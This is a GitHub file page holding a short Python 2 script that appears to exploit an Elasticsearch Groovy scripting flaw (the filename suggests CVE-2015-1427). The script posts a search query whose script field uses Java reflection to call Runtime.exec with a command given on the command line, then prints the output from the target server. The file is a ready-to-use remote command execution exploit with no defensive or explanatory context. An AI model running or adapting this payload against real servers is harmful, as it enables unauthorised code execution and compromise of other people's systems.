-
Notifications
You must be signed in to change notification settings - Fork 971
/
ESCVE-2015-14-27Exp.py
32 lines (30 loc) · 1.3 KB
/
ESCVE-2015-14-27Exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
import urllib
import urllib2
import json
import sys
def execute(url,command):
parameters = {"size":1,
"script_fields":
{"iswin":
{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).\
newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.\
class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").\
getInputStream())).readLines()" % command,"lang": "groovy"}
}
}
data = json.dumps(parameters)
try:
request=urllib2.Request(url+"_search?pretty",data)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')
response=urllib2.urlopen(request)
result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
for i in result:
print i
except Exception, e:
print e
if __name__ == '__main__':
if len(sys.argv) != 3:
print "usage %s url command" % sys.argv[0]
else:
execute(sys.argv[1],sys.argv[2])